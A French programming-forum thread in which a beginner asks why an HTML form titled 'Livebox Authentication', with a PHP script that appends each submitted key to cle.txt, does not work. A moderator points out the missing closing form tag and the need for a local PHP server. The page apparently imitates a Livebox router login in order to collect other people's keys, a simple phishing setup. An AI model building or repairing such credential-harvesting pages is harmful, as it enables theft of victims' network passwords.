Menu

Formulaire html + php stockage des donnés dans un fichier txt

Messages postés
2
Date d'inscription
mercredi 13 février 2019
Dernière intervention
13 février 2019
-
Salut, j'aurais besoin grandement d'aide sa fait un semaine après de la documentation des heures sur openclassrooms je n'arrive pas stocker mes données via un formulaire html

Ma premières pages :

nom : index.html
<!DOCTYPE html>

<html>

     <head>

       <meta charset="utf-8" />
       <link rel="stylesheet" href="style.css">
 <img src="images/live3.png"  />  
<title> Livebox Authentication </title> 


  </head>


<form action="logs.php" method="POST"> 

<P> <label> <h3> mot de passe  : </h3>  <input class="barre-mdp" type="text" name="cle" /> <label> </p>  

<p> <input type="submit" value="connexion" />  </p>  
   
</html>


le fichier logs.php

nom : logs.php
<?php
$cle = $_POST['cle'];
$fp = fopen("cle.txt","a+");
fputs($fp, "$cle");
fclose($fp);

?>


l'autre fichier cle.txt est vide est en chmod 777,
je voudrais quand un client rentre sa cle qu'elle soit stocker dans le fichier cle.txt sauf dans je rentre une clée sa ne marche pas et il y a redirection vers le logs.php et je voit les codes, je voudrais savoir comment faire pour que quand un client entre sa cle il voir redigirer vers une autre pages et que la cle soit bien engeristrer dans le fichier cle.txt

J'ai tout essayer sa ne marche donc je pense que le problèmes vien du fichier index.html et il manque une balise html au niveaux du <form></form> sauf personne n'a pu me répondre

merci d'avence aurevoir

EDIT : Ajout des balises de code
Afficher la suite 

Votre réponse

2 réponses

Messages postés
24520
Date d'inscription
mercredi 22 octobre 2003
Statut
Modérateur
Dernière intervention
13 février 2019
1840
0
Merci
Bonjour,

déjà... il manque un </form> dans ton formulaire.

Ensuite...lorsque tu dis :
il y a redirection vers le logs.php et je voit les codes

Tu veux dire que tu peux lire le code php et qu'il n'est pas exécuté ??
Tu bosses en "local" sur ton ordi je suppose....
As tu au moins installé un serveur apache/php ou un logiciel pour l'émuler ? ( un logiciel comme wamp, xampp, easyphp, laragon.... ) ???
Car sans ça... impossible que ton code php ne soit compris...

Autre chose... lorsque tu auras installé ce "serveur" ... il faudra utiliser l'url en http://localhost/tonsite/tonfichier.php ...
Si ton url est du genre file://c:\tonfichier.php ... normal que ça ne marche pas.

pour finir,
vu que tu débutes... autant prendre de bonnes habitudes dès maintenant.
Pour ça, je t'invite à lire (et à appliquer) le contenu de ces deux liens :
- Concernant l'écriture de ton code php : http://www.commentcamarche.net/faq/48399-php-gestion-des-erreurs-debogage-et-ecriture-du-code

- Concernant la façon de poster ton code sur le forum à l'avenir :
https://codes-sources.commentcamarche.net/faq/11288-les-balises-de-code



Commenter la réponse de jordane45
Messages postés
2
Date d'inscription
mercredi 13 février 2019
Dernière intervention
13 février 2019
0
Merci
Salut, oui exactement le code est php est afficher mais pas exécuter, ok je vais télécharge wampsever
Commenter la réponse de formulairehtmlviapost